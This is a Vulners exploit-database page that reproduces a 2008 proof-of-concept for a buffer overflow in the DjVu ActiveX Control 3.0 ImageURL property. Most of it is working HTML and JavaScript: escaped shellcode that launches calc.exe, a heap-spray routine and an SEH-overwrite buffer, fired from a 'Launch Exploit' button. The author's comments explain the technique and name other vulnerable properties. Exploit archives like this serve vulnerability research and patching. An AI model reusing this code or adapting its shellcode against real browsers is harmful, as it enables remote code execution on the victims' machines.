Vulners
Lucene search
DjVu ActiveX Control 3.0 ImageURL Property Overflow Exploit
<!--
DjVu ActiveX Control ImageURL Property Overflow
From DjVu.org :
"DjVu (pronounced "d�j� vu") is a digital document format with advanced compression technology and high performance value.
DjVu allows for the distribution on the Internet and on DVD of very high resolution images of scanned documents,
digital documents, and photographs. DjVu viewers are available for the web browser, the desktop, and PDA devices."
vulnerability is in DjVu ActiveX Control 3.0 for Microsoft (r) Office ( DjVu_ActiveX_MSOffice.dll)
you can use heap spray to exploit this vulneability but I like to use this multiple technique ( SEH overwrite + Heap Spray )
oooo, there is also /SafeSEH OFF
other properties are also vulnerable ( Mode or maybe Page and Zoom )
-------------------------------------------------------------------------------------------------------------------------------------------------
{ special Tnx goes to my friends : str0ke , Amir Ashtiyani ,Alireza , Amir , Yashar , Vahid and all snoop members }
Shahriyar Jalayeri <Shahriyar.j // gmail // com >
Snoop Security Research committee < Snoop-security.com >
-->
<html>
<object id=boom classid="clsid:4A46B8CD-F7BD-11D4-B1D8-000102290E7C" ></object>
<input language=JavaScript onclick=Exploiter() type=button value="Launch Exploit">
<script>
// clac.exe
var shellcode = unescape( "%uE860%u0000%u0000%u815D%u06ED%u0000%u8A00%u1285%u0001%u0800" +
"%u75C0%uFE0F%u1285%u0001%uE800%u001A%u0000%uC009%u1074%u0A6A" +
"%u858D%u0114%u0000%uFF50%u0695%u0001%u6100%uC031%uC489%uC350" +
"%u8D60%u02BD%u0001%u3100%uB0C0%u6430%u008B%u408B%u8B0C%u1C40" +
"%u008B%u408B%uFC08%uC689%u3F83%u7400%uFF0F%u5637%u33E8%u0000" +
"%u0900%u74C0%uAB2B%uECEB%uC783%u8304%u003F%u1774%uF889%u5040" +
"%u95FF%u0102%u0000%uC009%u1274%uC689%uB60F%u0107%uEBC7%u31CD" +
"%u40C0%u4489%u1C24%uC361%uC031%uF6EB%u8B60%u2444%u0324%u3C40" +
"%u408D%u8D18%u6040%u388B%uFF09%u5274%u7C03%u2424%u4F8B%u8B18" +
"%u205F%u5C03%u2424%u49FC%u407C%u348B%u038B%u2474%u3124%u99C0" +
"%u08AC%u74C0%uC107%u07C2%uC201%uF4EB%u543B%u2824%uE175%u578B" +
"%u0324%u2454%u0F24%u04B7%uC14A%u02E0%u578B%u031C%u2454%u8B24" +
"%u1004%u4403%u2424%u4489%u1C24%uC261%u0008%uC031%uF4EB%uFFC9" +
"%u10DF%u9231%uE8BF%u0000%u0000%u0000%u0000%u9000%u6163%u636C" +
"%u652E%u6578%u9000");
var spraySlide = unescape("%u9090%u9090");
// address I use to jump ( ASCII Address )
var heapSprayToAddress = 0x0a0a0a0a;
var heapBlockSize = 0x400000;
var SizeOfHeapDataMoreover = 0x5;
var payLoadSize = (shellcode.length * 2);
var spraySlideSize = heapBlockSize - (payLoadSize + SizeOfHeapDataMoreover);
var heapBlocks = (heapSprayToAddress+heapBlockSize)/heapBlockSize;
var memory = new Array();
function getSpraySlide(spraySlide, spraySlideSize)
{
while (spraySlide.length*2<spraySlideSize)
{
spraySlide += spraySlide;
}
spraySlide = spraySlide.substring(0,spraySlideSize/2);
return (spraySlide);
}
spraySlide = getSpraySlide(spraySlide,spraySlideSize);
for (i=0;i<heapBlocks;i++)
{
memory[i] = spraySlide + shellcode;
}
function Exploiter(){
var Buffer = 'A';
// this size of 'A' strings overwrite eip and it cause and exception so we jumt to seh handler
var BufferSize = 1684;
// Next seh handler never execute
var NextSehHandler = unescape("%90%90%90%90");
// now we jump to our address in sprayed heap block and the Shellcode get execute !
var SehHandler = unescape("%0a%0a%0a%0a");
while(Buffer.length<BufferSize) Buffer += Buffer;
Buffer = Buffer.substring(0,BufferSize);
boom.ImageURL = Buffer + NextSehHandler + SehHandler ;
}
</script>
</html>
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
31 Oct 2008 00:00Current
7.1High risk
Vulners AI Score7.1